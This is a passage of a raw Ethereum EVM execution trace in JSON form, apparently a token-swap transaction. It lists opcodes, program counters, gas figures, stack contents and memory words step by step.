1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8330,"op":"DUP2","gas":117398,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8331,"op":"LT","gas":117395,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x1","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8332,"op":"ISZERO","gas":117392,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8333,"op":"PUSH2","gas":117389,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8336,"op":"JUMPI","gas":117386,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x0","0xe87"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8337,"op":"PUSH2","gas":117376,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8340,"op":"DUP3","gas":117373,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8341,"op":"DUP3","gas":117370,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x100"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8342,"op":"DUP2","gas":117367,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x100","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8343,"op":"MLOAD","gas":117364,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x100","0x0","0x100"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8344,"op":"DUP2","gas":117361,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x100","0x0","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8345,"op":"LT","gas":117358,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x100","0x0","0x2","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8346,"op":"PUSH2","gas":117355,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x100","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8349,"op":"JUMPI","gas":117352,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x100","0x0","0x1","0x20a5"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8357,"op":"JUMPDEST","gas":117342,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x100","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8358,"op":"PUSH1","gas":117341,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x100","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8360,"op":"MUL","gas":117338,"gasCost":5,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x100","0x0","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8361,"op":"PUSH1","gas":117333,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x100","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8363,"op":"ADD","gas":117330,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x100","0x0","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8364,"op":"ADD","gas":117327,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x100","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8365,"op":"MLOAD","gas":117324,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x120"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8366,"op":"DUP5","gas":117321,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8367,"op":"DUP4","gas":117318,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8368,"op":"DUP2","gas":117315,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0xa0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8369,"op":"MLOAD","gas":117312,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0xa0","0x0","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8370,"op":"DUP2","gas":117309,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0xa0","0x0","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8371,"op":"LT","gas":117306,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0xa0","0x0","0x2","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8372,"op":"PUSH2","gas":117303,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0xa0","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8375,"op":"JUMPI","gas":117300,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0xa0","0x0","0x1","0x20bf"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8383,"op":"JUMPDEST","gas":117290,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0xa0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8384,"op":"PUSH1","gas":117289,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0xa0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000